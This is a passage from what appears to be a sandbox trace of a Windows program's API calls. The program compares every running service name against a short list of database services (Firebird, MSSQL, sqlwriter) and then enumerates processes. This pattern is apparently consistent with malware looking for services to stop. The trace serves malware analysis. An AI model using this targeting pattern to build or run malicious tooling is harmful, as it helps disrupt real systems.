lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0297.662] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0297.662] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0297.662] lstrlenW (lpString="Audiosrv") returned 8 [0297.662] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0297.662] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0297.662] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0297.662] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0297.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0297.663] lstrlenW (lpString="BFE") returned 3 [0297.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0297.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0297.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0297.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0297.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0297.663] lstrlenW (lpString="BITS") returned 4 [0297.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0297.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0297.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0297.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0297.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0297.663] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0297.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0297.663] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0297.663] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0297.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0297.663] lstrlenW (lpString="CDPSvc") returned 6 [0297.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0297.663] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0297.663] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0297.663] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0297.663] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0297.663] lstrlenW (lpString="ClickToRunSvc") returned 13 [0297.663] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0297.664] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0297.664] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0297.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0297.664] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0297.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0297.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0297.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0297.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0297.664] lstrlenW (lpString="CryptSvc") returned 8 [0297.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0297.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0297.664] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0297.664] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0297.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0297.664] lstrlenW (lpString="DcomLaunch") returned 10 [0297.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0297.664] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0297.664] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0297.664] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0297.664] lstrlenW (lpString="DeviceAssociationService") returned 24 [0297.664] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.664] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0297.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0297.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0297.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0297.665] lstrlenW (lpString="Dhcp") returned 4 [0297.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0297.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0297.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0297.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0297.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0297.665] lstrlenW (lpString="Dnscache") returned 8 [0297.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0297.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0297.665] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0297.665] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0297.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0297.665] lstrlenW (lpString="DoSvc") returned 5 [0297.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0297.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0297.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0297.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0297.665] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0297.665] lstrlenW (lpString="DPS") returned 3 [0297.665] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0297.665] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0297.665] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0297.665] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0297.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0297.666] lstrlenW (lpString="DusmSvc") returned 7 [0297.666] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0297.666] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0297.666] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0297.666] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0297.666] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0297.667] lstrlenW (lpString="EventLog") returned 8 [0297.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0297.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0297.667] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0297.667] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0297.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0297.667] lstrlenW (lpString="EventSystem") returned 11 [0297.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0297.667] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0297.667] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0297.667] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0297.667] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0297.667] lstrlenW (lpString="FontCache") returned 9 [0297.667] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0297.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0297.668] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0297.668] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0297.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0297.668] lstrlenW (lpString="gpsvc") returned 5 [0297.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0297.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0297.668] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0297.668] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0297.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0297.668] lstrlenW (lpString="iphlpsvc") returned 8 [0297.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0297.668] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0297.668] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0297.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0297.668] lstrlenW (lpString="KeyIso") returned 6 [0297.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0297.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0297.668] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0297.668] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0297.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0297.668] lstrlenW (lpString="LanmanServer") returned 12 [0297.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0297.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0297.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0297.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0297.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0297.668] lstrlenW (lpString="LanmanWorkstation") returned 17 [0297.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0297.668] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0297.668] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0297.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0297.669] lstrlenW (lpString="lfsvc") returned 5 [0297.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0297.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0297.669] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0297.669] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0297.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0297.669] lstrlenW (lpString="lmhosts") returned 7 [0297.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0297.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0297.669] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0297.669] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0297.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0297.669] lstrlenW (lpString="LSM") returned 3 [0297.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0297.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0297.669] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0297.669] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0297.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0297.669] lstrlenW (lpString="MapsBroker") returned 10 [0297.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0297.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0297.669] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0297.669] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0297.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0297.669] lstrlenW (lpString="MpsSvc") returned 6 [0297.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0297.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0297.669] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0297.669] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0297.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0297.669] lstrlenW (lpString="NcbService") returned 10 [0297.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0297.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0297.670] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0297.670] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0297.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0297.670] lstrlenW (lpString="netprofm") returned 8 [0297.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0297.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0297.670] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0297.670] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0297.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0297.670] lstrlenW (lpString="NgcSvc") returned 6 [0297.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0297.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0297.670] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0297.670] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0297.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0297.670] lstrlenW (lpString="NlaSvc") returned 6 [0297.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0297.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0297.670] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0297.670] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0297.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0297.670] lstrlenW (lpString="nsi") returned 3 [0297.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0297.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0297.670] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0297.670] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0297.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0297.670] lstrlenW (lpString="PcaSvc") returned 6 [0297.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0297.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0297.670] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0297.671] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0297.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0297.671] lstrlenW (lpString="PlugPlay") returned 8 [0297.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0297.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0297.671] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0297.671] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0297.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0297.671] lstrlenW (lpString="Power") returned 5 [0297.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0297.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0297.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0297.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0297.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0297.671] lstrlenW (lpString="ProfSvc") returned 7 [0297.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0297.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0297.671] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0297.671] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0297.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0297.671] lstrlenW (lpString="RpcEptMapper") returned 12 [0297.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0297.671] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0297.671] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0297.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0297.671] lstrlenW (lpString="RpcSs") returned 5 [0297.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0297.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0297.671] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0297.671] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0297.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0297.671] lstrlenW (lpString="SamSs") returned 5 [0297.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0297.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0297.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0297.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0297.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0297.672] lstrlenW (lpString="Schedule") returned 8 [0297.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0297.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0297.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0297.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0297.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0297.672] lstrlenW (lpString="SecurityHealthService") returned 21 [0297.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0297.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0297.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0297.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0297.672] lstrlenW (lpString="SENS") returned 4 [0297.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0297.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0297.672] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0297.672] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0297.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0297.672] lstrlenW (lpString="ShellHWDetection") returned 16 [0297.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0297.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0297.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0297.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0297.672] lstrlenW (lpString="Spooler") returned 7 [0297.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0297.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0297.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0297.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0297.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0297.673] lstrlenW (lpString="SSDPSRV") returned 7 [0297.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0297.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0297.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0297.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0297.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0297.673] lstrlenW (lpString="StateRepository") returned 15 [0297.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0297.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0297.673] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0297.673] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0297.673] HeapFree (in: hHeap=0x6e0000, dwFlags=0x0, lpMem=0x4572730 | out: hHeap=0x6e0000) returned 1 [0297.673] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x560 [0297.676] Process32FirstW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0297.677] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x96, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0297.678] lstrlenW (lpString="System") returned 6 [0297.678] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0297.678] lstrlenW (lpString="smss.exe") returned 8 [0297.678] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.679] lstrlenW (lpString="csrss.exe") returned 9 [0297.679] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0297.680] lstrlenW (lpString="wininit.exe") returned 11 [0297.680] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0297.680] lstrlenW (lpString="csrss.exe") returned 9 [0297.680] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0297.681] lstrlenW (lpString="winlogon.exe") returned 12 [0297.681] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0297.682] lstrlenW (lpString="services.exe") returned 12 [0297.682] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0297.683] lstrlenW (lpString="lsass.exe") returned 9 [0297.683] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0297.684] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0297.684] Process32NextW (in: hSnapshot=0x560, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, 